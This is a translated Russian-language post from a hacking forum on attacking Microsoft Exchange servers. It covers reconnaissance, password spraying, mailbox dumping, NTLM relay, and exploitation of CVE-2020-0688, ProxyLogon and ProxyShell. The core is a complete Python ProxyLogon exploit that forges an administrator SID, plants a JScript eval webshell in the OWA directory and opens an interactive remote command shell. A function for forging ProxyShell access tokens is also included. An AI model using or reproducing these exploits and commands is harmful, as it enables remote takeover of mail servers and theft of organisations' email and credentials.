• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Об атаках на Exchange

samarie

HDD-drive
Пользователь
Регистрация
06.04.2023
Сообщения
34
Реакции
83
Депозит
0.00
Оригинал: hxxps://forum.butian.net/share/1837
Переведенно специально для xss.pro

Что такое Exchange?

Exchange Server 2010 содержит пять ролей, которые в версии Exchange Server 2013 были сведены к трем ролям:

Почтовый сервер: отвечает за аутентификацию, перенаправление и проксирование запросов доступа от различных внешних клиентов, в основном содержит два компонента: Client Access Service и Front End Transport Service.

Client Access Server: размещает почтовые ящики, общие папки и другие данные, в основном включает Hub Transport Service и Mail Transport Service.

Почтовые фильтры: отвечают за маршрутизацию исходящей и входящей электронной почты, приложений политики и т.д. 2. интерфейсы и протоколы клиентского/удаленного доступа

endpointОписание
/autodiscoverАвтоматическая служба, появившаяся в Exchange Server 2007 для настройки параметров почтовых ящиков пользователей в outlook и упрощения процесса входа пользователей в систему и использования почтовых ящиков.
/ecp (Exchange Control Panel)Центр управления Exchange, веб-консоль, используемая администраторами для управления Exchange в своей организации.
/ews (Exchange Web Service, SOAP-over-HTTP)SOAP-взаимодействие между клиентом и сервером на основе HTTP
/mapi (MAPI-over-HTTP, MAPI/HTTP)Стандартный способ подключения Outlook к Exchange, используемый в 2013 году и более поздних версиях.
/Microsoft-Server-ActiveSyncдля доступа мобильных устройств к электронной почте
/OAB (Office Address Book)Используется в качестве адресной книги для клиентов Outlook, чтобы снизить нагрузку на Exchange
/owa (Outlook Web App)Интерфейс Exchange owa для доступа к почте через веб-приложения
/poweshellдля администрирования сервера
/eac (Exchange Administrator Center)Центр администрирования Exchange, веб-консоль для Exchange в организации.

Exchange Service Discovery

Обнаружение сканированием портов

Для работы Exchange требуется множество сервисов и функциональных компонентов, которые зависят друг от друга, поэтому сервер открывает множество портов для предоставления сервисов публике. Однако сканирование портов с помощью nmap для поиска сервера Exchange требует взаимодействия с хостом, что генерирует большой объем трафика, вызывает предупреждения IDS и оставляет большое количество логов на целевом сервере.

nmap -A -O -sV -v 192.168.159.128

v6aosf.png

Пояснения к командам nmap

-A Включает обнаружение ОС и версии, сканирование сценариев и информацию о путях.
-O Включает обнаружение операционной системы.
-sV Определяет информацию о сервисах и версиях по открытым портам.

## SPN

Имя принципала службы (SPN) - это имя экземпляра службы, которое клиент Kerberos использует для уникальной идентификации себя на конкретной целевой машине Kerberos. Имя принципала службы - это уникальный идентификатор экземпляра службы (под которым понимается служба, например HTTP, MSSQL, EXCHANGE). При аутентификации Kerberos используется SPN для связывания экземпляра службы с учетной записью входа в службу.

setspn.exe -T zesiar0.com -F -Q */*

1690873520627.png


SPN - это имя службы, зарегистрированное службами с поддержкой Kerberos для поиска KDC, эти имена SPN записываются в базу данных Active Directory, пока установка службы завершена, эти имена SPN уже существуют, если они не деинсталлированы или не удалены, поиск имен SPN не имеет отношения к тому, запущена ли текущая служба (например, IMAP/POP для сервера Exchange и т.д.). Некоторые серверы не запускаются по умолчанию, но их SPN-имена все равно существуют).

Получаем доступ в Exchange не имея учетных данных

В корпоративной среде, пароль учетной записи пользователя домена является паролем учетной записи почтового ящика Exchange. Если вы успешно получите пароль почтового ящика пользователя брутом, то в обычных условиях вы также получите пароль пользователя домена. Служба автообнаружения Autodiscover использует конфигурационный файл Autodiscover.xml для автоматизации настройки пользователей, и для получения этой конфигурации требуется аутентификация пользователя.
1690873599328.png

MailSniper позволяет поспреить пароли для интерфейса OWA, EWS и ActiveSync.

1690873609979.png


Утечка информации из сети

Утечка ОС, имени хоста и имени Netbios сервера Exchange.

В процессе возврата вызова type2 одновременно возвращаются тип ОС, имя хоста, имя netbios и т.д., т.е. на сервер отправляется запрос type1, а сервер возвращает ответ type2.

1690873625679.png



Имея учетные данные Exchange

Экспортируем список почтовых ящиков

1. MailSniper
Код:
// Начните с импорта файла MailSniper.ps1     
Import-Module . \MailSniper.ps1
// Затем с помощью MailSniper экспортируйте список почтовых ящиков
Get-GlobalAddressList -ExchHost MAIL -UserName domain\username -Password password -Ou
tFile litst.txt

2. ruler

. \\\\ruler-win64.exe --insecure --url https://localhost/autodiscover/autodiscover.xml --email administrator@zesiar0.com -u administrator -p zengjiahua..123 --verbose --debug abk dump -o ruler_list.txt

Но во время тестов на windows server 2016, есть ошибка, которая пока не решена

panic: runtime error: invalid memory address or nil pointer dereference
signal 0xc0000005 code=0x0 addr=0x50 pc=0x1258af2

3. impacket
Bash:
impacket-exchanger DOMAIN/USERNAME:PASSWORD@MAIL nspi list-tables
impacket-exchanger DOMAIN/USERNAME:PASSWORD@MAIL nspi dump-tables -guid GUID


Получение содержимого электронной почты

Злоумышленники могут использовать MailSniper для обнаружения и кражи данных электронной почты, содержащих конфиденциальную информацию, путем извлечения папок почтовых ящиков после получения легитимных учетных данных.

Invoke-SelfSearch -Mailbox Administrator@zesiar0.com -Terms *test* -Folder Inbox -remote
1690873795982.png

Примечание: здесь необходимо добавить опцию -remote для ввода учетных данных пользователя (не знаю, почему это не упоминается в других статьях).

NTLM релей

NTLM выступает в качестве посредника, в запросе аутентификации между клиентом и сервером для передачи интерактивной информации, клиент будет представлен в Net-NTLM хэш перехватывается и впоследствии воспроизводится для аутентификации целевой стороны, для ретрансляции воспроизведения человек-в-середине атаки для получения имени пользователя и пароль не имея никаких привилегий.

Я начал с того, что вошел в систему как тестовый пользователь и отправил письмо пользователю-администратору

1690873867401.png


Затем я запустил responder на атакующей машине

1690873878367.png



Снова вхожу под администратором и делаю вид, что нажимаю на письмо, responder получает NTLMv2-хэш
1690873891284.png


Об уязвимостях

CVE-2020-0688

уязвимы:
Microsoft Exchange Server 2010 Service Pack 3
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019 #### Принцип уязвимости

Exchange Server по умолчанию устанавливается с одним и тем же ключом проверки (validationKey) и одним и тем же ключом расшифровки (decryptionKey), что может быть использовано злоумышленником для проведения атаки на сервер с использованием статического ключа для удаленного выполнения кода на сервере с привилегиями SYSTEM.

Обзор ViewState

ViewState - это механизм сохранения состояния страницы и элементов управления между несколькими запросами (PostBacks) к одной и той же странице в ASP.NET. В WebForm при каждом запросе происходит взаимодействие между клиентом и сервером. Если запрос выполнен и некоторая информация передана обратно клиенту, то при следующем запросе клиент передает эту информацию о состоянии на сервер, серверная сторона использует и обрабатывает эту информацию, а затем передает ее обратно клиенту, это и есть основной режим работы ViewState.ViewState предназначен для сохранения необходимой информации на странице, так что ViewState предназначен для сохранения необходимой информации на странице, чтобы значения состояния могли быть сохранены в процессе передачи страницы обратно через ViewState.
Подробное объяснение ViewState: https://paper.seebug.org/1386/#3-webconfig-viewstate

Эксплуатация

Поскольку Exchange Server в своей конфигурации по умолчанию validationKey и decryptionKey представляют собой ключи, используемые для контрольной суммы и шифрования соответственно, оба они захардкожены.

1690873946952.png


Поэтому для использования этой уязвимости достаточно выполнить следующие действия

Код:
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF (по умолчанию)
--validationalg = SHA1 (по умолчанию)
--generator = B97B4E27 (по умолчанию)
--viewstateuserkey = значение ASP.NET_SessionId

Приведенные выше переменные можно получить тут:
1690873968036.png

1690873989086.png


Генерация вредоносного viewstate с помощью программы ysoserial.exe
1690874000470.png


Затем обратитесь к следующему url адресу
/ecp/default.aspx?__VIEWSTATEGENERATOR=&__VIEWSTATE=URLENCODE()


СVE-2021-26855


уязвимы:
Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012

Об уязвимости

Microsoft.Exchange.FrontEndHttpProxy.dll неэффективно проверяет наличие управляемого X-BEResource в cookie, и последующая обработка с использованием функции класса UrlBuilder в .NET приводит к возникновению SSRF. exchange разделяет X-BEResource на массив массивов, разделенных символом ~. массив массивов, array[0] для Fqdn, array[1] для версии; если версия меньше E15MinVersion, то вводится утверждение, а переменной ProxyToDownLevel присваивается значение True, после чего вызывается функция аутентификации EcpProxyRequestHandler.AddDownLevelProxyHeaders для аутентификации; если версия больше E15MinVersion, то происходит выход из суждения if в обход аутентификации.


Эксплуатация

Ограничить путь, формат пути должен быть /ecp/xxx.(js/png/...)
Сконструировать X-BEResource, ~ передняя часть - это url, к которому будет обращаться SSRF, а задняя часть - больше, чем E15MinVersion.
1690874052654.png


CVE-2021-27065

Уязвимы
Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012

Об уязвимости

Функция Microsoft.Exchange.Management.DDIService.WriteFileActivity не проверяет суффикс файла и может быть записана в веб-оболочку частично управляемой функцией, связанной с содержимым файла.

## Эксплуатация

Запрашиваем EWS, получаем доменного имени из заголовка ответа X-CalculationBETarget
1690874117956.png


Используя имя пользователя, запрашиваем Autodiscover для получения LegacyDN из конфигурации

1690874233258.png


Используя запрос MAPI over HTTP, поднять запрос Microsoft.Exchange.RpcClientAccess.Server.LoginPermException для получения SID
Замена RID на 500 поддельных SID администратора с помощью ProxyLogonHandler
Получаем идентификатор администратора ASP.NET_SessionId с помощью msExchCanary
Получаем RawIdentity с помощью интерфейса Getlist компонента DDI
Внедрение Webshell с использованием атрибута виртуального пути внешнего URL
Окончательный вылет функции резервного копирования при перезагрузке для записи файлов в указанный UNC-каталог

Примечание: содержимое веб-оболочки не должно содержать специальных символов, которые будут закодированы в URL, и не может превышать 255 символов в длину.
Для автоматизации тестирования можно использовать следующий python-скрипт

Python:
# -*- coding: utf-8 -*-
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import argparse
import sys
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test',
              'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'log', 'no-reply']

proxies = {}
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

final_shell = ""

def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

if __name__=="__main__":
    parser = argparse.ArgumentParser(
        description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.com\n如果不清楚用户名,可不填写-user参数,将自动Fuzz用户名。')
    parser.add_argument('-u', type=str,
                        help='target')
    parser.add_argument('-user',
                        help='exist email', default='')
    parser.add_argument('-suffix',
                        help='email suffix')
    args = parser.parse_args()
    target = args.u
    suffix = args.suffix
    if suffix == "":
        print("请输入suffix")

    exist_email = args.user
    if exist_email:
        fuzz_email.insert(0, exist_email)
    random_name = id_generator(4) + ".js"
    print("目标 Exchange Server: " + target)

    for i in fuzz_email:
        new_email = i+suffix
        autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % new_email
        # print("get FQDN")
        FQDN = "EXCHANGE01"
        ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                            "User-Agent": user_agent},
                      verify=False, proxies=proxies)

        if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
            FQDN = ct.headers["X-FEServer"]
            print("got FQDN:" + FQDN)

        ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
            "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
            "Content-Type": "text/xml",
            "User-Agent": user_agent},
            data=autoDiscoverBody,
            proxies=proxies,
            verify=False
        )

        if ct.status_code != 200:
            print(ct.status_code)
            print("Autodiscover Error!")

        if "<LegacyDN>" not in str(ct.content):
            print("Can not get LegacyDN!")
        try:
            legacyDn = str(ct.content).split("<LegacyDN>")[
                1].split(r"</LegacyDN>")[0]
            print("Got DN: " + legacyDn)

            mapi_body = legacyDn + \
                "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
                "Content-Type": "application/mapi-http",
                "X-Requesttype": "Connect",
                "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
                "X-Clientapplication": "Outlook/15.0.4815.1002",
                "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
                "User-Agent": user_agent
            },
                data=mapi_body,
                verify=False,
                proxies=proxies
            )
            if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
                print("Mapi Error!")
                exit()

            sid = str(ct.content).split("with SID ")[
                1].split(" and MasterAccountSid")[0]

            print("Got SID: " + sid)
            sid = sid.replace(sid.split("-")[-1], "500")

            proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
            """ % sid

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
                "Content-Type": "text/xml",
                "msExchLogonMailbox": "S-1-5-20",
                "User-Agent": user_agent
            },
                data=proxyLogon_request,
                proxies=proxies,
                verify=False
            )
            if ct.status_code != 241 or not "set-cookie" in ct.headers:
                print("Proxylogon Error!")
                exit()

            sess_id = ct.headers['set-cookie'].split(
                "ASP.NET_SessionId=")[1].split(";")[0]

            msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[
                1].split(";")[0]
            print("Got session id: " + sess_id)
            print("Got canary: " + msExchEcpCanary)

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                # "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                # FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),

                "Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}".
                            format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id,
                                    msExchEcpCanary=msExchEcpCanary),
                            "Content-Type": "application/json; charset=utf-8",
                            "msExchLogonMailbox": "S-1-5-20",
                            "User-Agent": user_agent

                            },
                            json={"filter": {
                                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                "SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}},
                            verify=False,
                            proxies=proxies
                            )

            if ct.status_code != 200:
                print("GetOAB Error!")
                exit()
            oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
            print("Got OAB id: " + oabId)

            oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                        "properties": {
                            "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                        "ExternalUrl": "http://ffff/#%s" % shell_content}}}

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                "msExchLogonMailbox": "S-1-5-20",
                "Content-Type": "application/json; charset=utf-8",
                "User-Agent": user_agent
            },
                json=oab_json,
                proxies=proxies,
                verify=False
            )
            if ct.status_code != 200:
                print("Set external url Error!")
                exit()

            reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                            "properties": {
                                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                "FilePathName": shell_absolute_path}}}

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                "msExchLogonMailbox": "S-1-5-20",
                "Content-Type": "application/json; charset=utf-8",
                "User-Agent": user_agent
            },
                json=reset_oab_body,
                proxies=proxies,
                verify=False
            )

            if ct.status_code != 200:
                print("写入shell失败")
                exit()
            shell_url = "https://"+target+"/owa/auth/test11.aspx"
            print("成功写入shell:" + shell_url)
            print("下面验证shell是否ok")
            print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
            print("正在请求shell")
            import time
            time.sleep(1)
            data = requests.post(shell_url, data={
                                "code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, verify=False, proxies=proxies)
            if data.status_code != 200:
                print("写入shell失败")
            else:
                print("shell:"+data.text.split("OAB (Default Web Site)")
                    [0].replace("Name                            : ", ""))
                print('[+]用户名: '+ new_email)
                final_shell = shell_url
                break
        except:
            print('[-]用户名: '+new_email)
            print("=============================")
    if not final_shell:
        sys.exit()
    print("下面启用交互式shell")
    while True:
        input_cmd = input("[#] command: ")
        data={"code": """Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())""" % input_cmd}
        ct = requests.post(
            final_shell,
            data=data,verify=False, proxies=proxies)
        if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text:
            print("[*] Failed to execute shell command")
        else:
            shell_response = ct.text.split(
                "Name                            :")[0]
            print(shell_response)


CVE-2021-26855, используемый совместно с CVE-2021-27065, - ProxyLogon, который позволяет осуществлять RCE без учетных данных пользователя почтового ящика

CVE-2021-34473

Уязвимы
Exchange Server 2013 < Apr21SU
Exchange Server 2016 < Apr21SU < CU21
Exchange Server 2019 < Apr21SU < CU10

Об уязвимости

В функции -GetClientUrlForProxy файла HttpProxy\EwsAutodiscoverProxyRequestHandler.cs удалите this.explicitLogonAddress из absoluteUri и explicitLogonAddress берется из значения Email в запросе (GET|POST|Cookie|Server), но он должен удовлетворять возвращаемому значению RequestPathParser.IsAutodiscoverV2PreviewRequest(), чтобы быть истинным, что тогда Проверяет наличие в пути файла /autodiscove.json

Эксплуатация

переходим по URL
https://192.168.159.131/autodiscove...Email=autodiscover/autodiscover.json?@foo.com (ПОДСТАВЛЯЯ СВОИ ЗНАЧЕНИЯ!)


1690874292309.png


Сервис autodiscover exchange может быть использован для поиска конфигурационного файла пользователя с высокими привилегиями. Для этого необходимо получить атрибут legacyDn, а затем использовать этот атрибут + добавить невидимые символы в конце для получения sid целевого пользователя. После получения sid пользователя мы можем использовать привилегии целевого пользователя для доступа к api ews для выполнения вредоносной операции. Этот шаг аналогичен шагу proxyLogon.

CVE-2021-34523

Область воздействия
Exchange Server 2013 < Apr21SU
Exchange Server 2016 < Apr21SU < CU21
Exchange Server 2019 < Apr21SU < CU10

Об уязвимости

Exchange Powershell Remoting - это служба, основанная на протоколе WSMan, которая может выполнять некоторые специфические команды powershell, реализуя такие функции, как отправка электронной почты, чтение электронной почты, обновление файлов конфигурации и т.д. Необходимым условием для ее использования является наличие у пользователя почтового ящика. Поэтому при использовании предыдущего ssrf получить доступ к интерфейсу powershell не удастся, так как в системе нет почтового ящика. Далее нам необходимо сначала решить проблему аутентификации. Так как в методе ShouldCopyHeaderToServerRequest будут отфильтрованы некоторые пользовательские заголовки запроса, в том числе и заголовок проверки подлинности X-CommonAccessToken.
В Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule.dll есть управляемая пользователем точка входа X-Rps-CAT, которая считывает заголовок запроса X-CommonAccessToken, когда он пуст. -Rps-CAT, и эти данные обрабатываются и присваиваются X-CommonAccessToken.

Эксплуатация

Для генерации токена можно использовать следующий python-код

Python:
def gen_token(uname, sid):
version = 0
ttype = 'Windows'
compressed = 0
auth_type = 'Kerberos'
raw_token = b''
gsid = 'S-1-5-32-544'

version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
compress_data = b'C' + (compressed).to_bytes(1, 'little')
auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
login_data = b'L' + (len(uname)).to_bytes(1, 'little') + uname.encode()
user_data = b'U' + (len(sid)).to_bytes(1, 'little') + sid.encode()
group_data = b'G' + pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode()
ext_data = b'E' + pack('>I', 0)

raw_token += version_data
raw_token += type_data
raw_token += compress_data
raw_token += auth_data
raw_token += login_data
raw_token += user_data
raw_token += group_data
raw_token += ext_data

data = base64.b64encode(raw_token).decode()

return data

CVE-2021-31207

Уязвимы
Exchange Server 2013 < May21SU
Exchange Server 2016 < May21SU < CU21
Exchange Server 2019 < May21SU < CU10

Об уязвимости

Пользователи могут записывать в файлы с произвольным суффиксом после аутентификации

эксплуатация

В сочетании с описанной выше уязвимостью пользователь сначала получает доступ к интерфейсу powershell через уязвимость ssrf и использует его для экспорта писем в указанную веб-директорию. Однако при этом возникает проблема: экспортируемые письма имеют pst-кодировку, поэтому их необходимо предварительно закодировать.

CVE-2021-34473, CVE-2021-31207 и CVE-2021-34523 эксплуатируются вместе с proxyshell, что в конечном итоге позволяет использовать rce.

Используйте этот скрипт:
 

Вложения

  • 1690873481376.png
    1690873481376.png
    31.3 КБ · Просмотры: 20
  • 1690874182490.png
    1690874182490.png
    58.8 КБ · Просмотры: 19


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх